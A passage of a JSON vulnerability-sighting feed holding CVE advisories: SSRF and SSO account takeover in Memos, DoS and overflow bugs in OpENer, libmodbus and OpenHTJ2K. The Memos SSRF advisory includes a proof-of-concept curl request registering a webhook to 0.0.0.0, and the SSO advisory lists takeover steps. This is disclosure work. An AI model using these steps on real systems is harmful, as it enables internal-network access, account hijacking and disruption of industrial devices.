header. By intentionally withholding the remainder of the payload while keeping the connection open (a Slowloris-style attack), the attacker exploits the lack of non-blocking socket configurations to force the server's single-threaded network handler into an indefinite blocking state. This completely stalls the main event loop, resulting in a Denial of Service (DoS) that prevents the device from processing any other legitimate communications.\n\n## References\n* GitHub Issue: https://github.com/EIPStackGroup/OpENer/issues/562", "creation_timestamp": "2026-07-03T06:42:29.534324Z"}, {"uuid": "5e7408e9-53e0-4807-8713-ba4615a58c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51946", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqj2b5woy2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 CVE-2026-51946 \u0432 GoAdmin: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/4ED941F9-15E4-42A5-B7FB-710C9257C5B3", "creation_timestamp": "2026-07-03T12:06:17.220785Z"}, {"uuid": "f538bc84-7902-4217-8dde-4135fb36ad78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51946", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mpqj2etz3q2i", "content": "\u6df1\u5ea6\u89e3\u6790GoAdmin v1.2.26 SQL\u6ce8\u5165\u6f0f\u6d1e(CVE-2026-51946)\u53ca\u5b89\u5168\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/B3C68134-685B-4F1F-9DE0-0C4B497565C4", "creation_timestamp": "2026-07-03T12:06:22.195118Z"}, {"uuid": "2a2e8416-038c-4092-885b-149d122a0823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51583", "type": "seen", "source": "https://gist.github.com/seiyaibuki0523/d8af15eb555808319a2633269a9ebb80", "content": "# CVE-2026-51583 \u2014 Server-Side Request Forgery in Memos Webhook Dispatcher\n\n> Source-level security advisory. An authenticated user can coerce the Memos\n> backend into issuing HTTP requests to internal / unspecified addresses because\n> the webhook URL validator's reserved-CIDR list does not cover `0.0.0.0/8` and\n> several other non-routable ranges.\n\n## Summary\n\n| Field | Value |\n|---|---|\n| CVE | `CVE-2026-51583` |\n| Vulnerability type | Server-Side Request Forgery (CWE-918) |\n| Vendor / product | usememos / memos |\n| Affected component | `internal/webhook/validate.go` (`reservedCIDRs`), shared by `internal/webhook/webhook.go` |\n| Affected versions | \u2264 v0.30.0 (unpatched as of commit `9a928c28`) |\n| Fixed version | None \u2014 no patch available at time of publication |\n| Attack type | Remote, authenticated |\n| Impact | Bypass protection mechanism; internal service access via SSRF |\n| Discoverer | Casper Chen, Cevanex |\n\n## Severity\n\n- **Severity:** Medium\u2013High (depends on what internal services are reachable from the Memos container/host)\n- **CVSS v3.1 (suggested):** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N` \u2192 Base 8.5 *(inferred from code; not yet NVD-assigned)*\n- **Source:** inferred from source-level analysis and reproduction, not NVD\n\nAn authenticated, low-privilege user can create a webhook whose target is an\ninternal or unspecified address. When any memo event fires, the Memos backend\ndispatches an HTTP POST to that target from inside the trust boundary,\nreaching services that are not otherwise exposed (cloud metadata endpoints,\ninternal admin panels, other containers on the same network, etc.). The scope\nchange (S:C) reflects that the request originates from the server's network\nposition rather than the attacker's.\n\n## Root Cause\n\nWebhook target URLs are validated at registration time by `ValidateURL()` and\nagain at dispatch time by `safeDialContext()` (`internal/webhook/webhook.go`).\nBoth paths share a single `isReservedIP()` check backed by the `reservedCIDRs`\nlist in `internal/webhook/validate.go`.\n\nThat list is incomplete. It omits, among others:\n\n- `0.0.0.0/8` (unspecified \u2014 resolves to loopback on most stacks)\n- `::` (IPv6 unspecified)\n- `100.64.0.0/10` (CGNAT / shared address space)\n- `192.0.0.0/24` (IETF protocol assignments)\n- `198.18.0.0/15` (benchmarking)\n- multicast ranges\n\nBecause registration-time and dial-time validation reuse the same predicate,\na gap in the list bypasses **both** layers simultaneously. Reproduction against\nthe current tree confirms the gap:\n\n```\n0.0.0.0            blocked=false   lookup=[0.0.0.0]\n::                 blocked=false\n100.64.0.1         blocked=false   (CGNAT)\n192.0.0.1          blocked=false\n127.0.0.1          blocked=true\n```\n\n`127.0.0.1` is correctly blocked, but `0.0.0.0` \u2014 which most network stacks\nroute to loopback for outbound connections \u2014 sails through. The repository\ncurrently makes zero use of `net.IP.IsUnspecified`.\n\nThe bypassed control was introduced by\n[`150371d2`](https://github.com/usememos/memos/commit/150371d2111dfedd21483a21c49183079604d322)\n(`fix(webhook): remediate SSRF vulnerability in webhook dispatcher`,\n2026-02-23, shipped in v0.26.2 / v0.27.0; the file was later relocated from\n`plugin/webhook/validate.go` to `internal/webhook/validate.go` by `10a955fd`\nin v0.27.0). That commit added `reservedCIDRs` but left the ranges above\nuncovered, so the SSRF protection can still be bypassed.\n\n## Proof of Concept\n\n**Step 1 \u2014 start an internal listener inside the Memos container**\n\nSimulate an internally-bound service on port 9999.\n\n**Step 2 \u2014 register a malicious webhook**\n\nAs an authenticated user (e.g. User ID 2) with a valid access token, point the\nwebhook at the unspecified address:\n\n```bash\ncurl -X POST \"http://:5230/api/v1/users/2/webhooks\" \\\n    -H \"Authorization: Bearer \" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\n          \"displayName\": \"SSRF-Test\",\n          \"url\": \"http://0.0.0.0:9999\"\n        }'\n```\n\n**Step 3 \u2014 trigger dispatch**\n\nLog into the Memos web UI, create and publish a memo. This fires the webhook\nevent dispatcher.\n\n**Step 4 \u2014 verify**\n\nThe listener from Step 1 receives an HTTP POST from the Memos backend,\nconfirming the backend was coerced into contacting an internal address that\n`reservedCIDRs` failed to block.\n\n## Remediation\n\nNo upstream patch exists as of v0.30.0. Recommended fix:\n\nReplace or extend the `reservedCIDRs` check with a comprehensive predicate:\n\n```go\nip.IsUnspecified() || ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast()\n```\n\nand additionally block `100.64.0.0/10`, `192.0.0.0/24`, `198.18.0.0/15`, and\nmulticast. Because `ValidateURL()` and `safeDialContext()` share\n`isReservedIP()`, fixing the predicate closes both the registration-time and\ndispatch-time paths at once. Re-resolve DNS at dial time (or pin the resolved\nIP) to prevent DNS-rebinding from reintroducing the bypass.\n\n## Timeline\n\n- 2026-02-23 \u2014 `150371d2` introduces `reservedCIDRs` (incomplete range list)\n- 2026-04-18 \u2014 Privately reported to the vendor at `dev@usememos.com`, the channel designated in the project's `SECURITY.md`, with a working proof of concept\n- 2026-04-18 \u2013 2026-08-11 \u2014 No vendor response received (115 days)\n- 2026-07-23 \u2014 CVE-2026-51583 reserved by MITRE\n- 2026-08-11 \u2014 Publicly disclosed after exceeding the 90-day coordinated-disclosure window; unpatched as of commit `9a928c28`\n\n## References\n\n- https://github.com/usememos/memos\n- https://github.com/usememos/memos/commit/150371d2111dfedd21483a21c49183079604d322\n- https://github.com/usememos/memos/blob/main/internal/webhook/validate.go", "creation_timestamp": "2026-08-11T04:54:29.094470Z"}, {"uuid": "862e95b4-6bb7-417f-8e2a-c5b59e279a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51584", "type": "seen", "source": "https://gist.github.com/seiyaibuki0523/33a4c06eb7d10914e5e5152ecd5100ec", "content": "# CVE-2026-51584 \u2014 SSO Account Takeover in Memos (Missing External-Identity Binding)\n\n> Source-level security advisory. Memos' OAuth2/SSO sign-in resolved the local\n> account using the IdP-supplied identifier (username) as the sole lookup key,\n> with no binding to the IdP's stable subject. An attacker who controls their\n> identifier on any configured public IdP could take over an arbitrary local\n> account.\n\n## Summary\n\n| Field | Value |\n|---|---|\n| CVE | `CVE-2026-51584` |\n| Vulnerability type | Incorrect Access Control \u2192 Account Takeover (CWE-287 / CWE-284) |\n| Vendor / product | usememos / memos |\n| Affected component | `server/router/api/v1/auth_service.go` (`SignIn`, ssoCredentials branch) |\n| Affected versions | \u2264 v0.27.1 |\n| Fixed version | v0.28.0 |\n| Fixing commit | [`d688914b`](https://github.com/usememos/memos/commit/d688914b2864791eeadbf21c882608632875f17c) |\n| Attack type | Remote |\n| Impact | Escalation of privileges / account takeover |\n| Discoverer | Casper Chen, Cevanex |\n\n## Severity\n\n- **Severity:** High\n- **CVSS v3.1 (suggested):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` \u2192 Base 9.1 *(inferred; not yet NVD-assigned)*\n- **Source:** inferred from source-level analysis, not NVD\n\nWhere SSO is enabled against a public IdP whose mapped identifier is\nattacker-controllable (username, email, preferred_username, or name), an\nattacker can authenticate as any existing local user, including admins \u2014\na full account takeover with no prior access to the victim account.\n\n## Root Cause\n\nIn the vulnerable `SignIn` handler, the SSO branch looked up the local user\nusing only the IdP-supplied identifier as the key:\n\n```go\n// server/router/api/v1/auth_service.go (v0.27.x, ssoCredentials branch)\nuser, err := s.Store.GetUser(ctx, &store.FindUser{\n    Username: &userInfo.Identifier,   // <-- only lookup key\n})\nif err != nil { /* ... */ }\nif user == nil {\n    // ... create new user with Username: userInfo.Identifier\n}\nexistingUser = user\n// existingUser is then passed to doSignIn(), which signs a JWT containing\n// existingUser.ID, existingUser.Username, existingUser.Role.\n```\n\nThere was **no** `user_identity` table or equivalent `(user_id, idp_id,\nexternal_sub)` binding. The IdP's stable `sub` claim was discarded \u2014\n`oauth2.IdentityProvider.UserInfo` populated only `Identifier` / `DisplayName`\n/ `Email` / `AvatarURL` from the configured `field_mapping`. By default and in\nevery documented example, `field_mapping.identifier` is `username`, `email`,\n`preferred_username`, or `name` \u2014 all attacker-controllable on any major public\nIdP.\n\nConsequently, an attacker who sets their identifier on the IdP to match a\nvictim's Memos username causes the lookup to resolve to the victim's local\naccount, and `doSignIn()` mints a valid session (JWT) for that account.\n\n## Proof of Concept\n\nPrerequisites: a Memos instance with OAuth2 SSO enabled against a public IdP,\nusing a default `field_mapping.identifier` (e.g. `email` or\n`preferred_username`), and knowledge of a victim's Memos username.\n\n1. On the configured IdP, set the account's mapped identifier field to the\n   victim's Memos username / email.\n2. Complete the standard OAuth2 authorization-code flow into Memos.\n3. During `SignIn`, `GetUser(FindUser{Username: &userInfo.Identifier})` resolves\n   to the **victim's** existing local user.\n4. `doSignIn()` issues an access token bound to the victim's ID / username /\n   role. The attacker now holds a valid session for the victim account.\n\n## The Fix\n\nFixed in **v0.28.0** by commit\n[`d688914b`](https://github.com/usememos/memos/commit/d688914b2864791eeadbf21c882608632875f17c)\n(`feat(auth): add SSO user identity linkage (#5883)`, boojack, 2026-04-23).\n\nThe fix removes the identifier-as-lookup-key branch and introduces an\nexternal-identity linkage:\n\n- New `user_identity` table via migration\n  `store/migration/{sqlite,mysql,postgres}/0.28/00__user_identity.sql`, with a\n  `(provider_uid, extern_uid)` unique constraint.\n- SSO lookup now goes through `resolveSSOUser()`, which resolves the local user\n  via the linkage table instead of `userInfo.Identifier`.\n- On the miss path, a local user is created with a UUID-based username derived\n  by `deriveSSOUsername()`, so the IdP identifier is no longer usable as a local\n  username key; the `(provider, extern_uid)` linkage is committed atomically\n  with the user.\n\nThe post-fix `SignIn` delegates to the helper:\n\n```go\n} else if ssoCredentials := request.GetSsoCredentials(); ssoCredentials != nil {\n    identityProvider, userInfo, err := s.resolveSSOIdentity(ctx, ssoCredentials.IdpName, ssoCredentials.Code, ssoCredentials.RedirectUri, ssoCredentials.CodeVerifier)\n    if err != nil { return nil, err }\n    user, err := s.resolveSSOUser(ctx, nil, identityProvider, userInfo)\n    if err != nil { return nil, err }\n    existingUser = user\n}\n```\n\n**Follow-up hardening (additional reference):**\n[`019f4f9a`](https://github.com/usememos/memos/commit/019f4f9adcfcfca73fc9e2a966d0569fac888a2c)\n(`fix(auth): provision SSO users atomically (#6114)`, shipped in v0.30.0) closes\na race in the linkage insert on concurrent first logins.\n\n## Remediation for Operators\n\nUpgrade to **v0.28.0 or later** (v0.30.0+ recommended, to include the atomic\nprovisioning fix). After upgrading, audit existing SSO-linked accounts.\n\n## Timeline\n\n- 2026-04-23 \u2014 fix `d688914b` merged (#5883), released in v0.28.0\n- v0.30.0 \u2014 follow-up hardening `019f4f9a` (#6114)\n- 2026-07-23 \u2014 CVE-2026-51584 reserved by MITRE\n\n## References\n\n- https://github.com/usememos/memos\n- https://github.com/usememos/memos/commit/d688914b2864791eeadbf21c882608632875f17c\n- https://github.com/usememos/memos/commit/019f4f9adcfcfca73fc9e2a966d0569fac888a2c\n", "creation_timestamp": "2026-08-11T04:57:17.905405Z"}, {"uuid": "bf5675cd-2c8b-445c-881f-8fe54e262e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5137", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mprohzoe242j", "content": "CVE-2026-5137 rometheme-for-elementor (CVSS Score 4.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-03T23:16:07.725647Z"}, {"uuid": "db2ff756-c388-46d1-87e8-9387bf8c1956", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5137", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mprq5zrrvf2f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5137 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 RTMKit \u0434\u043b\u044f WordPress: \u0443\u0433\u0440\u043e\u0437\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/D8E1477D-658C-4FAD-8202-92427BAD515E", "creation_timestamp": "2026-07-03T23:46:19.489719Z"}, {"uuid": "08e69f37-c24f-4bd5-ac3a-a9d48464548f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5137", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mprq64vp4o2v", "content": "WordPress \u63d2\u4ef6 RTMKit (rometheme-for-elementor) \u5b58\u5728 CVE-2026-5137 \u6f0f\u6d1e:\u672c\u5730\u6587\u4ef6\u5305\u542b\u98ce\u9669\u5206\u6790\u4e0e\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/48C4674A-4485-4C87-A96F-618BA877BA40", "creation_timestamp": "2026-07-03T23:46:22.920354Z"}, {"uuid": "dc4ff57f-5f87-49f8-b500-2888ea81a7bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51584", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/5xyg3f3atzmns", "content": "CVE-2026-51584 - Memos SSO Authentication Bypass Account Takeover\nCVE ID : CVE-2026-51584\n \n Published : Aug. 11, 2026, 2:17 p.m. | 14\u00a0minutes ago\n \n Description : An issue in usememos v0.27.1 allows a remote attacker to achieve account takeover via the ssoCredentials branch o...", "creation_timestamp": "2026-08-11T14:48:14.605682Z"}, {"uuid": "08c1bf4d-2fab-400f-a249-e2b1de434c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51583", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/dnjjgpnninjk4", "content": "CVE-2026-51583 - usememos Server-Side Request Forgery\nCVE ID : CVE-2026-51583\n \n Published : Aug. 11, 2026, 2:17 p.m. | 14\u00a0minutes ago\n \n Description : An issue in usememos through v0.30.0 allows a remote authenticated attacker to perform Server-Side Request Forgery (SSRF) via...", "creation_timestamp": "2026-08-11T15:00:12.888945Z"}, {"uuid": "b6b5d732-03a8-4edb-ba73-cf1df254066d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51937", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3vtgveal24", "content": "CVE-2026-51937 - Oneblog Information Disclosure Vulnerability\nCVE ID : CVE-2026-51937\n \n Published : July 7, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : An issue in Oneblog V2.3.9 allows a remote attacker to obtain sensitive information via the RestApiController.java, J...", "creation_timestamp": "2026-07-08T00:54:24.194974Z"}, {"uuid": "551d1b6e-8ec4-4f72-85b3-547affde1fed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51536", "type": "seen", "source": "https://gist.github.com/MrAlaskan/e160c626a32e03e5d9eddaa732560672", "content": "# Security Advisory: CVE-2026-51536\n\n## Vulnerability Information\n* **CVE ID:** CVE-2026-51536\n* **Vendor:** EIPStackGroup\n* **Product:** OpENer (Version 2.3.0, commit 76b95cf)\n* **Vulnerability Type:** CWE-190: Integer Overflow or Wraparound; CWE-121: Stack-based Buffer Overflow\n* **Attack Type:** Remote\n* **Impact:** Denial of Service (DoS)\n\n## Description\nAn integer overflow and truncation vulnerability exists in the CIP message parsing logic of OpENer 2.3.0. A remotely crafted CIP packet may cause an invalid length value to be propagated during EPATH decoding, resulting in a stack-based buffer overflow and a Denial of Service condition.\n\n## Affected Component\nThe vulnerability affects the CIP message router and EPATH decoding logic, including `source/src/cip/cipmessagerouter.c` and `source/src/cip/cipcommon.c`, specifically the `NotifyMessageRouter`, `CreateMessageRouterRequestStructure`, and `DecodePaddedEPath` functions.\n\n## Attack Vectors\nA remote attacker with network access to the target OpENer instance can exploit this vulnerability by connecting to the EtherNet/IP TCP port, typically TCP/44818, and establishing a standard CIP communication path, for example through a `ForwardOpen` request.\n\nThe attacker can then send a crafted `SendUnitData` request containing malicious length and path fields. Due to inconsistent length handling across the CIP message parsing call chain, the crafted packet may cause an invalid length value to be passed into the EPATH decoding logic. This can bypass bounds checks and trigger a stack-based buffer overflow.\n\nSuccessful exploitation can crash the OpENer process and deny service to legitimate industrial communication clients.\n\n## References\n* GitHub Issue: https://github.com/EIPStackGroup/OpENer/issues/563", "creation_timestamp": "2026-07-09T03:32:56.982312Z"}, {"uuid": "8e4a8b36-f99b-4de1-a187-f792c9b5b4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51537", "type": "seen", "source": "https://gist.github.com/MrAlaskan/a5fb0fb7765c9df80d28220ed558f04e", "content": "# Security Advisory: CVE-2026-51537\n\n## Vulnerability Information\n* **CVE ID:** CVE-2026-51537\n* **Vendor:** EIPStackGroup\n* **Product:** OpENer (Version 2.3.0, commit 76b95cf)\n* **Vulnerability Type:** CWE-125: Out-of-bounds Read\n* **Attack Type:** Remote, Unauthenticated\n* **Impact:** Denial of Service (DoS)\n\n## Description\nAn out-of-bounds read vulnerability exists in the Connection Manager handling of ForwardOpen requests in OpENer 2.3.0. A remotely crafted malformed CIP ForwardOpen request may cause the parser to read beyond the valid request buffer, leading to a Denial of Service condition.\n\n## Affected Component\nThe vulnerability affects the Connection Manager and related message parsing logic, including `source/src/cip/cipconnectionmanager.c`, `source/src/cip/cipconnectionobject.c`, and `source/src/enet_encap/endianconv.c`, specifically the `ForwardOpenRoutine`, `ConnectionObjectInitializeFromMessage`, and low-level message read helper functions such as `GetByteFromMessage`.\n\n## Attack Vectors\nAn unauthenticated, remote attacker with network access to the target OpENer instance can exploit this vulnerability by connecting to the EtherNet/IP TCP port, typically TCP/44818, and completing session registration.\n\nThe attacker can then send a crafted `SendRRData` packet carrying a malformed `ForwardOpen` or `LargeForwardOpen` request. Due to insufficient validation of the remaining request length during parsing, the malformed request may cause the parser to read beyond the valid input buffer.\n\nSuccessful exploitation can crash the OpENer process and deny service to legitimate industrial communication clients.\n\n## References\n* GitHub Issue: https://github.com/EIPStackGroup/OpENer/issues/564", "creation_timestamp": "2026-07-09T03:36:14.618242Z"}, {"uuid": "b9044b55-607b-4186-8591-5a3dc4196021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51538", "type": "seen", "source": "https://gist.github.com/MrAlaskan/8156ca3acd6754a9f66efede0a1351f2", "content": "# Security Advisory: CVE-2026-51538\n\n## Vulnerability Information\n* **CVE ID:** CVE-2026-51538\n* **Vendor:** EIPStackGroup\n* **Product:** OpENer (Version 2.3.0, commit 76b95cf)\n* **Vulnerability Type:** CWE-284: Improper Access Control\n* **Attack Type:** Remote, Unauthenticated\n* **Impact:** Denial of Service (DoS); Privilege Escalation\n\n## Description\nAn improper access control vulnerability exists in the encapsulation session handling logic of OpENer 2.3.0. A remote attacker may reuse a valid session handle associated with another client connection to issue encapsulation commands, potentially resulting in unauthorized command processing and a Denial of Service condition.\n\n## Affected Component\nThe vulnerability affects the encapsulation session handling logic in `source/src/enet_encap/encap.c`, specifically the `CheckRegisteredSessions` function and command handling paths for `UnregisterSession`, `SendRRData`, and `SendUnitData`.\n\n## Attack Vectors\nAn unauthenticated, remote attacker with network access to the target OpENer instance can exploit this vulnerability by connecting to the EtherNet/IP TCP port, typically TCP/44818.\n\nThe attacker can then provide a valid session handle that was created by another legitimate client. Due to insufficient binding between encapsulation session handles and their originating TCP connections, the server may accept and process encapsulation commands submitted from the attacker-controlled connection.\n\nSuccessful exploitation may allow unauthorized use of another client's session handle and can disrupt legitimate industrial communication, resulting in a Denial of Service condition.\n\n## References\n* GitHub Issue: https://github.com/EIPStackGroup/OpENer/issues/565\n\n## Discoverers\nHuashuo Liu, Qixun Tang, Jinwen Xi, and Min Liu from Institute of Computing Technology, Chinese Academy of Sciences", "creation_timestamp": "2026-07-09T03:40:11.198858Z"}, {"uuid": "5cde41b0-1ffe-4598-99bf-4b8b6d9d34ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51539", "type": "seen", "source": "https://gist.github.com/MrAlaskan/f22dcf01a5dd90da1b191fcee9043a32", "content": "# Security Advisory: CVE-2026-51539\n\n## Vulnerability Information\n* **CVE ID:** CVE-2026-51539\n* **Vendor:** libmodbus\n* **Product:** libmodbus (Version 3.1.12)\n* **Vulnerability Type:** CWE-400: Uncontrolled Resource Consumption\n* **Attack Type:** Remote, Unauthenticated\n* **Impact:** Denial of Service (DoS)\n\n## Description\nA Denial of Service vulnerability exists in the receive loop of libmodbus 3.1.12 on Windows. A remote attacker can abuse timeout handling during network read operations to keep the server blocked in the receive path, preventing legitimate Modbus communication.\n\n## Affected Component\nThe vulnerability affects the message receive logic in `src/modbus.c`, specifically the `_modbus_receive_msg` function and its handling of timeouts using `select()` on Windows environments.\n\n## Attack Vectors\nAn unauthenticated, remote attacker with network access to the target Modbus TCP service can exploit this vulnerability by connecting to the configured Modbus TCP port.\n\nThe attacker can then send a Modbus request slowly, transmitting data in small fragments with pauses shorter than the configured receive timeout. Due to improper timeout accounting on Windows, the receive timeout may be effectively restarted for each received fragment, causing the server to remain in the receive loop for an extended period.\n\nSuccessful exploitation can block the affected server from processing legitimate client requests, resulting in a Denial of Service condition.\n\n## References\n* GitHub Issue: https://github.com/stephane/libmodbus/issues/843", "creation_timestamp": "2026-07-09T03:42:07.101466Z"}, {"uuid": "66df8721-bae8-4af4-9187-ede53bf21d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51540", "type": "seen", "source": "https://gist.github.com/MrAlaskan/5e0c2af7f4a1d188814c7fa8f812c8da", "content": "# Security Advisory: CVE-2026-51540\n\n## Vulnerability Information\n* **CVE ID:** CVE-2026-51540\n* **Vendor:** EIPStackGroup\n* **Product:** OpENer (Version 2.3.0, commit 76b95cf)\n* **Vulnerability Type:** CWE-191: Integer Underflow; CWE-125: Out-of-bounds Read\n* **Attack Type:** Remote, Unauthenticated\n* **Impact:** Denial of Service (DoS); Potential Code Execution\n\n## Description\nA memory corruption vulnerability exists in the handling of connected explicit messages in OpENer 2.3.0. A remotely crafted `SendUnitData` request may trigger an integer underflow during message length processing, causing invalid length handling and out-of-bounds memory access.\n\n## Affected Component\nThe vulnerability affects connected message parsing and EPATH decoding logic, including `source/src/enet_encap/cpf.c`, `source/src/cip/cipmessagerouter.c`, and `source/src/cip/cipcommon.c`, specifically the `NotifyConnectedCommonPacketFormat`, `CreateMessageRouterRequestStructure`, and `DecodePaddedEPath` functions.\n\n## Attack Vectors\nAn unauthenticated, remote attacker with network access to the target OpENer instance can exploit this vulnerability by connecting to the EtherNet/IP TCP port, typically TCP/44818, registering a session, and establishing a standard CIP connection.\n\nThe attacker can then send a crafted `SendUnitData` request containing malformed length and path fields. Due to insufficient validation of connected message length values, the crafted request may cause an integer underflow and allow invalid data to reach the EPATH decoding logic.\n\nSuccessful exploitation can crash the OpENer process, resulting in a Denial of Service condition. Depending on the runtime environment and memory layout, further impact may be possible.\n\n## References\n* Project: https://github.com/EIPStackGroup/OpENer\n* GitHub Issue: https://github.com/EIPStackGroup/OpENer/issues/568", "creation_timestamp": "2026-07-09T03:43:26.325062Z"}, {"uuid": "7ad64094-7c1a-4903-9d0d-bca940abd4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51541", "type": "seen", "source": "https://gist.github.com/MrAlaskan/705c680856e48c535148265c0899ad4b", "content": "# Security Advisory: CVE-2026-51541\n\n## Vulnerability Information\n* **CVE ID:** CVE-2026-51541\n* **Vendor:** EIPStackGroup\n* **Product:** OpENer (Version 2.3.0)\n* **Vulnerability Type:** CWE-125: Out-of-bounds Read\n* **Attack Type:** Remote, Unauthenticated\n* **Impact:** Denial of Service (DoS)\n\n## Description\nAn out-of-bounds read vulnerability exists in the CIP explicit message parsing logic of OpENer 2.3.0. A remotely crafted malformed CIP request may cause the EPATH decoder to read beyond the valid receive buffer, leading to a Denial of Service condition.\n\n## Affected Component\nThe vulnerability affects the CIP explicit message parsing path, including `source/src/cip/cipcommon.c` and `source/src/cip/cipmessagerouter.c`, specifically the `DecodePaddedEPath` and `CreateMessageRouterRequestStructure` functions.\n\n## Attack Vectors\nAn unauthenticated, remote attacker with network access to the target OpENer instance can exploit this vulnerability by connecting to the EtherNet/IP TCP port, typically TCP/44818, and completing session registration.\n\nThe attacker can then send a crafted `SendRRData` request containing a malformed CIP explicit message with inconsistent path length information. Due to insufficient validation of the remaining input length during EPATH decoding, the parser may read beyond the valid receive buffer.\n\nSuccessful exploitation can crash the OpENer process and deny service to legitimate industrial communication clients.\n\n## References\n* GitHub Issue: https://github.com/EIPStackGroup/OpENer/issues/582", "creation_timestamp": "2026-07-09T03:44:40.481247Z"}, {"uuid": "107e1a3c-415b-48d5-8473-1a371d7cdb6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51807", "type": "seen", "source": "https://gist.github.com/5asever40-a11y/dcfa867b099a7782ad72ab7981427765", "content": "# CVE-2026-51807\n\nHeap buffer overflow in OpenHTJ2K PPM packet header parsing\nallows heap out-of-bounds write via a crafted J2K/JP2 codestream\nor malicious JPIP/JPP response.\n\n------------------------------------------\n\n[Vulnerability Type]\nHeap Buffer Overflow\nOut-of-Bounds Write\n\n------------------------------------------\n\n[Vendor of Product]\nOpenHTJ2K\n\n------------------------------------------\n\n[Affected Product Code Base]\nOpenHTJ2K versions before v0.18.4\n\nFixed version: v0.18.4\nFix commit/tag: f77c1e9 / v0.18.4\n\n------------------------------------------\n\n[Affected Component]\nsource/core/coding/coding_units.cpp\n\nj2k_precinct_subband::parse_packet_header()\nj2k_codeblock::pass_length[128]\n\n------------------------------------------\n\n[Root Cause]\nThe PPM packet header parser updates the fixed-size\nj2k_codeblock::pass_length[128] array while increasing\nnum_passes, but vulnerable versions did not sufficiently\nvalidate that the updated number of coding passes stayed\nwithin the 128-entry pass_length array.\n\nWhen crafted packet header data causes num_passes and\nsegment_passes to exceed the pass_length capacity, the parser\nwrites beyond pass_length[128], resulting in heap memory\ncorruption.\n\n------------------------------------------\n\n[Attack Vectors]\nAn attacker can trigger the vulnerability by 